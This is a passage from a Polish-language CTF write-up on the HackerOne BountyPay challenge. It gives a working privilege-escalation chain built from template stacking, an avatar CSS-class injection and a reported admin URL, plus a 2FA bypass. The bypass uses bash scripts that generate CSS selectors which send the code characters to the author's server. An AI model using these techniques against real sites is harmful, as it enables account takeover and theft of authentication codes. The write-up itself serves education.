  • Na samym końcu – sprawdzana jest wartość location.hash oraz wyzwalane są eventy click  bazujące na selektorach CSS (tab1/tab2/tab3/tab4).

Wszystkie powyższe będą potrzebne, aby podnieść swoje uprawnienia. Zacznijmy od prostego odwołania się do endpointu /admin/upgrade?username=sandra.allison :

["Only admins can perform this"]

Niestety nie przyniosło to oczekiwanego rezultatu.

Na dole strony znajdziemy hiperłącze nazwane „Report This Page”, które wywołuje  poniższy komunikat:

Zatwierdzenie formularza powoduje wysłanie następującego zapytania HTTP:

GET /admin/report?url=Lz90ZW1wbGF0ZT10aWNrZXQmdGlja2V0X2lkPTM1ODI= HTTP/1.1
Host: staff.bountypay.h1ctf.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:77.0) Gecko/20100101 Firefox/77.0
Accept: */*
(...)

Parametr url zawiera adres odwiedzanej strony zakodowany w base64. Bazując na wcześniejszym komunikacje, odwoływanie się do endpointów zaczynających się od /admin będzie ignorowane (co udało się potwierdzić różnymi testami). Nadal jednak pamiętajmy o tym mechanizmie, ponieważ będzie on jednym z elementów potrzebnym, aby uzyskać wyższe uprawnienia.

Rozglądając się po aplikacji możemy też zauważyć, że aplikacja używa parametru template do wyświetlania kolejnych stron. W wyniku eksperymentów zauważyłem, że użycie kilku parametrów template wraz z nawiasami kwadratowymi powoduje wyświetlenie kilku widoków na jednej stronie.  Przykładowo – dla /?template[]=login&template[]=home  pokaże jednocześnie formularz logowania oraz stronę główną: 

Dodatkowo gdy na stronie logowania podamy parametr username  – nazwa użytkownika w formularzu zostanie wypełniona. Przykładowo dla  /?template=login&username=test.test :

Ostatnim elementem jest sekcja Profile gdzie użytkownik może zmienić wyświetlaną nazwę oraz avatar.

Przykładowe zapytanie HTTP z wprowadzonymi zmianami:

POST /?template=home HTTP/1.1
Host: staff.bountypay.h1ctf.com
(...)

profile_name=asdasda&profile_avatar=avatar2

Wartości profile_name  oraz profile_avatar  mogą mieć dowolne wartości – zostaną one zapisane w profilu użytkownika, a następnie wyrenderowane – na przykład w widoku Tickets . Dla przykładu podanie hackerone jako wartość parametru profile_avatar, a następnie przejście do sekcji Tickets  wyrenderuje taki kod:

<div class="panel-heading">Reply</div>
<div class="panel-body">
<div style="width: 100px;position: absolute">
   <div style="margin:auto" class="avatar hackerone"></div>
   <div class="text-center">asdasdak</div>
</div>

Jak widzimy profile_avatar wyświetla się jako część atrybutu  class. Wróćmy do fragmentu w pliku website.js :

$(".upgradeToAdmin").click(function() {
    let t = $('input[name="username"]').val();
    $.get("/admin/upgrade?username=" + t, function() {
        alert("User Upgraded to Admin")
    })

Bazując na powyższym:

  • Funkcja zostanie uruchomiona w momencie kliknięcia na element z selektorem  upgradeToAdmin .
  • Nazwa użytkownika dostarczona jako parametr do /admin/upgrade  pobierana jest z wartości elementu <input name=”username”> .
  • Całość musi zostać uruchomiona przez administratora.

Finalnie:

  • Mamy kontrole nad selektorami CSS przez modyfikację parametru profile_avatar – na wartości upgradeToAdmin oraz tab2.
  • Musimy wyświetlić stronę zawierającą zarówno widok Ticket oraz stronę logowania – po to, żebyśmy mieli jednocześnie element <input name=”username”>  oraz elementy z naszymi własnymi selektorami CSS – na jednej stronie.
  • Musimy ustawić wartość parametru username na sandra.allison.
  • Musimy wyzwolić event click – co osiągniemy przez dodanie #tab2 (location.hash) w adresie URL .
  • Na samym końcu – musimy zaraportować utworzony URL administratorowi tak, żeby w niego kliknął i zmienił uprawnienia Sandry na administratora. 

Finalny URL:

https://staff.bountypay.h1ctf.com/?template[]=login&template[]=ticket&ticket_id=3582&username=sandra.allison#tab2

Finalny URL do raportu:

https://staff.bountypay.h1ctf.com/admin/report?url=Lz90ZW1wbGF0ZVtdPWxvZ2luJnRlbXBsYXRlW109dGlja2V0JnRpY2tldF9pZD0zNTgyJnVzZXJuYW1lPXNhbmRyYS5hbGxpc29uI3RhYjI=

Wysłanie powyższego daje nam uprawnienia Administratora:

Mamy teraz login i hasło konta Marten’a! 

2FA Bypass – część druga

Używając znalezionych danych do logowania w pierwszej aplikacji (App Portal) oraz po ponownym pominięciu mechanizmu 2FA możemy zauważyć informacje o płatnościach:

Klikając w przycisk Pay  – pojawia się kolejny system 2FA, który musimy pominąć:

Przycisk Send Challenge wyzwala następujące zapytanie HTTP:

POST /pay/17538771/27cd1393c170e1e97f9507a5351ea1ba HTTP/1.1
Host: app.bountypay.h1ctf.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:77.0) Gecko/20100101 Firefox/77.0
(...)

app_style=https%3A%2F%2Fwww.bountypay.h1ctf.com%2Fcss%2Funi_2fa_style.css

Parametr app_style zawiera adres URL do stylu CSS. Gdy zmodyfikujemy tę wartość na adres własnego serwera, w logach możemy zauważyć, że zapytanie wykonane jest przez Headless Chrome:

3.21.98.146 - - [10/Jun/2020:06:31:10 +0200] "GET /test.css HTTP/1.1" 404 3797 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/83.0.4103.61 HeadlessChrome/83.0.4103.61 Safari/537.36"

Po kilku testach okazuje się, że Headless Chrome odwiedza stronę, generującą kod 2FA, na której dołączony jest styl CSS, który możemy kontrolować (podawany jako część parametru app_style). Możemy zatem użyć techniki eksfiltracji danych przez CSS aby otrzymać kod 2FA.

Po pierwsze musimy odkryć, jak nazywa się atrybut w kodzie HTML, do którego chcemy uzyskać dostęp. W tym celu wygenerowałem następujący plik CSS:

$ for a in {{a..z},{A..Z},{0..9},.,:,\;,-}; do echo "input[name^='$a] { background: url(https://[redacted]/csp/leak.gif?name=$a); }" ; done > h1.css

W logach mojego serwera pojawił się wpis wskazujący, że pierwsza litera atrybutu to „c”:

GET /csp/leak.gif?name=c HTTP/1.1

Korzystając z powyższej techniki ustaliłem, że nazwa atrybutu to code_X – gdzie X to numer od 1 do 7, wskazujący na pozycję znaku w kodzie 2FA. Dla utrudnienia, kolejność elementów z poszczególnymi znakami wyświetlana była losowo. Aby uzyskać finalny kod 2FA musimy znać nie tylko wartość, ale też pozycje. Finalny kod do generowania pliku CSS wygląda następująco:

#!/bin/bash
for i in `seq 1 7`; do
        for a in {{a..z},{A..Z},{0..9},.,:,\;,-,_}; do echo "input[name='code_$i'][value='$a'] { background: url(https://[redacted]/csp/leak.gif?pos=1&val=$a); }" ; done
done

Przechodząc dalej otrzymujemy poszczególne litery kodu oraz ich dokładną kolejność, co możemy wykorzystać do ominięcia mechanizmu 2FA:

GET /csp/leak.gif?pos=1&val=g HTTP/1.1
GET /csp/leak.gif?pos=7&val=P HTTP/1.1
GET /csp/leak.gif?pos=5&val=K HTTP/1.1
GET /csp/leak.gif?pos=4&val=m HTTP/1.1
GET /csp/leak.gif?pos=6&val=2 HTTP/1.1
GET /csp/leak.gif?pos=2&val=e HTTP/1.1
GET /csp/leak.gif?pos=3&val=H HTTP/1.1

To doprowadza nas do najbardziej wartościowej części zadania flagi:

^FLAG^736c635d8842751b8aafa556154eb9f3$FLAG$

Podsumowanie:

Przygotowana zadania bardzo ciekawe, a samo rozwiązywanie CTF traktuję jako bardzo dobrą zabawę pod szyldem cyberbezpieczeństwa. Największe wyzwanie jednak sprawiło mi przygotowanie powyższego raportu (oryginalna wersja w języku angielskim dostępna jest na stronie Hackerone https://hackerone.com/reports/895202).

 

Dla zainteresowanych na Youtube dostępna jest rozmowa ze zwycięzcami, na temat zadań, rozwiązań oraz ogólnych odczuć dotyczących opisywanego CTFa: https://www.youtube.com/watch?v=AAQHEl3b05M

 

Przy okazji – zachęcamy do zerknięcia na ofertę pentestową Securitum – Jakub jest jednym z naszych pentesterów :-)

 

— Jakub Żoczek (@zoczus), hakuje w Securitum

Spodobał Ci się wpis? Podziel się nim ze znajomymi:



Komentarze

  1. Marek

    Gratulacje!! Świetny raport, pokazujący nie tylko techniki i narzędzia, ale przede wszystkim tok myślowy. Mało jest takich publikacji w polskim internecie, dzięki za podzielenie się!

    Odpowiedz
  2. Andrew

    Gratulacje! Świetna robota.

    Odpowiedz
  3. nn

    WOW! Gratulacje!

    Odpowiedz
  4. Nism0

    Zadanie bardzo podobne do maszyny „Player2” z HTB (poziom Insane).
    Gratulacje!

    Odpowiedz
  5. Kot Rademenes

    Świetnie opisane, więcej takich publikacji na Sekuraku!

    Odpowiedz
  6. w4cky

    Swietna robota, pozdro zoczus :)

    Odpowiedz
  7. ProBoszczIt

    Miło uczyć się od lepszych od siebie.

    Odpowiedz

Odpowiedz na Nism0